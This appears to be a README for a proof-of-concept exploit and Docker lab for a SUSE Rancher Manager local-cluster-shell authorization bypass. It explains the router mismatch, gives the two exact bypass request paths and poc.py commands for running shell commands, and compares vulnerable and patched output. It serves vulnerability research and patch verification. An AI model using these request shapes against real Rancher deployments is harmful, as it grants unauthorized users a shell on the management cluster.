
PoC and Docker lab for CVE-2026-104623, a SUSE Rancher Manager local-cluster-shell authorization bypass, with exploit script and detection guidance.
| CVE | CVE-2026-104623 / GHSA-8x6f-2v58-x6p7 |
| Product | SUSE Rancher Manager 2.11.0–2.11.18, 2.12.0–2.12.14, 2.13.0–2.13.10, 2.14.0–2.14.6, 2.15.0–2.15.2 (and older) |
| Fixed in | 2.11.19 / 2.12.15 / 2.13.11 / 2.14.7 / 2.15.3 |
| CWE | CWE-862 / CWE-863 (CNA lists CWE-290) |
| CVSS | 6.3 MEDIUM (CVSS:3.1) / 5.3 (CVSS:4.0) |
| Credited | Kenzie Cuttler (@K-Cuttler), Arpit Jain (@arpitjain099) |
Any authenticated Rancher user — including one holding only the default user
global role and no role bindings on the local cluster — can obtain an
interactive shell pod (dashboard-shell-*) in cattle-system on the management
cluster. The spawned pod is unprivileged and its Kubernetes API access stays
scoped to the attacker's own identity, but it grants compute + an in-namespace
network position on the management plane the user was never authorized to have.
This is a bypass of the protection added for CVE-2022-21953.
Rancher fronts the steve API server with an authorization mux
(pkg/api/steve/proxy/proxy.go). Requests for the local cluster shell are
only allowed to reach the shell handler through two shapes, each gated by
userCanAccessCluster() (a SubjectAccessReview: get clusters local,
group management.cattle.io):
mux.HandleFunc("/v1/management.cattle.io.clusters/{clusterID}", func(rw, req) {
if req.URL.Query().Get("link") == "shell" { routeToShellProxy("link", "shell", ...) }
else if req.URL.Query().Get("action") == "apply" { routeToShellProxy("action", "apply", ...) }
else { next.ServeHTTP(rw, req) }
})
mux.HandleFunc("/v3/clusters/{clusterID}", func(rw, req) {
if req.URL.Query().Get("shell") == "true" { routeToShellProxy(...) }
else { next.ServeHTTP(rw, req) }
})
...
mux.Handle("/", next) // everything else falls through to steve, ungated
But the shell handler itself is registered on the steve
management.cattle.io.clusters schema, and the custom ByIDHandler invokes it
directly, with no authorization — by design, because "the user might not have
GET granted for local cluster" (pkg/api/steve/clusters/clusters.go, v2.15.2):
schema.ByIDHandler = func(request *types.APIRequest) (types.APIObject, error) {
// By pass authorization for local shell because the user might not have
// GET granted for local cluster
if request.Name == "local" && request.Link == "shell" && shellHandler != nil {
shellHandler.ServeHTTP(request.Response, request.Request)
return types.APIObject{}, validation.ErrComplete
}
return handlers.ByIDHandler(request)
}
Steve's own router accepts strictly more path shapes for that ByIDHandler than
Rancher's front mux intercepts (rancher/steve pkg/server/router/router.go):
mux.Handle("/v1/{type}", h.K8sResource)
mux.Handle("/v1/{type}/{$}", h.K8sResource)
mux.Handle("/v1/{type}/{nameorns}", h.K8sResource)
mux.Handle("/v1/{type}/{nameorns}/{$}", h.K8sResource)
mux.Handle("/v1/{type}/{namespace}/{name}", h.K8sResource)
mux.Handle("/v1/{type}/{namespace}/{name}/{$}", h.K8sResource)
mux.Handle("/v1/{type}/{namespace}/{name}/{link}", h.K8sResource)
mux.Handle("/v1/{type}/{namespace}/{name}/{link}/{$}", h.K8sResource)
and link may come from either the path or the query string
(rancher/apiserver pkg/parse/mux.go — StandardURLParser). Two request shapes
therefore reach the ungated special case without ever matching the front-mux
patterns:
| # | Bypass shape | Steve pattern that accepts it | Front-mux pattern? |
|---|---|---|---|
| 1 | GET /v1/management.cattle.io.clusters/local/?link=shell | /v1/{type}/{nameorns}/{$} (link from query) | no — trailing slash defeats /v1/management.cattle.io.clusters/{clusterID} |
| 2 | GET /v1/management.cattle.io.clusters/<anything>/local/shell/ | /v1/{type}/{namespace}/{name}/{link}/{$} (link as path segment) | no — 4 segments + trailing slash |
The request falls through mux.Handle("/", next) into steve, where
k8sAPI() maps {name}/{nameorns} → Name = "local" (clusters are
cluster-scoped), the parser sets Link = "shell" (path value or query fallback),
and the special case fires the shell handler: it creates a
dashboard-shell-* pod in cattle-system (via podimpersonation, impersonating
the requesting user's Kubernetes identity) and reverse-proxies a websocket
exec session into it (v4.channel.k8s.io).
A third, official shape — GET /k8s/clusters/local/v1/management.cattle.io.clusters/local?link=shell —
is also gated (userCanAccessCluster inside proxyHandler.ServeHTTP) and used
here as a control probe.
pkg/api/steve/clusters/clusters.go now performs a SubjectAccessReview
(verb=get, group=management.cattle.io, version=v3, resource=clusters, name=local) inside the ByIDHandler, before invoking the shell handler — so
every request form, however routed, is checked:
403 PermissionDenied "not authorized to access the local cluster shell"
Two privileged Docker containers, each running Rancher with an embedded k3s management cluster:
| container | image | port |
|---|---|---|
cve-2026-104623-vuln | rancher/rancher:v2.15.2 (vulnerable) | https://localhost:18443 |
cve-2026-104623-fixed | rancher/rancher:v2.15.3 (patched) | https://localhost:19443 |
./lab.sh up # start both containers (first boot ~3-6 min)
./lab.sh wait # wait until both answer /ping
./lab.sh status # containers + ping
./lab.sh logs # tail vuln container logs
./lab.sh teardown # destroy containers + data volumes
poc.py handles first-boot bootstrap itself (grabs the generated
Bootstrap Password: from docker logs, sets a known admin password via
POST /v3/users/<id>?action=setpassword, creates the attacker user with the
default user global role and no cluster bindings, and logs in as the attacker).
# vulnerable instance
./poc.py all --target https://localhost:18443
# patched instance
./poc.py all --target https://localhost:19443
Other subcommands: setup, check (probe every request form),
exec '<cmd>' (run one command in the shell pod), shell (interactive),
pods (list cattle-system pods as admin).
user role onlyofficial-v1 GET /v1/management.cattle.io.clusters/local?link=shell -> 401 gate (authz enforced — blocked)
official-v3 GET /v3/clusters/local?shell=true -> 401 gate (authz enforced — blocked)
gate-control GET /k8s/clusters/local/v1/.../local?link=shell -> 401 gate (authz enforced — blocked)
bypass-trailing GET /v1/management.cattle.io.clusters/local/?link=shell -> 101 UPGRADE — SHELL GRANTED
bypass-pathlink GET /v1/management.cattle.io.clusters/x/local/shell/ -> 101 UPGRADE — SHELL GRANTED
----- shell output -----
uid=1000(shell) gid=1000(shell) groups=1000(shell)
dashboard-shell-7mnb7
Attacker's actual RBAC state (verified via SubjectAccessReview as admin):
get clusters local → allowed: false; zero clusterroletemplatebindings;
only the user global role (create on clusters, no get).
official-v1 -> 401 gate (authz enforced — blocked)
official-v3 -> 401 gate (authz enforced — blocked)
gate-control -> 401 gate (authz enforced — blocked)
bypass-trailing -> 403 PermissionDenied (patched ByIDHandler check)
bypass-pathlink -> 403 PermissionDenied (patched ByIDHandler check)
exec on the patched instance reports
403 {"code":"PermissionDenied","message":"not authorized to access the local cluster shell"}.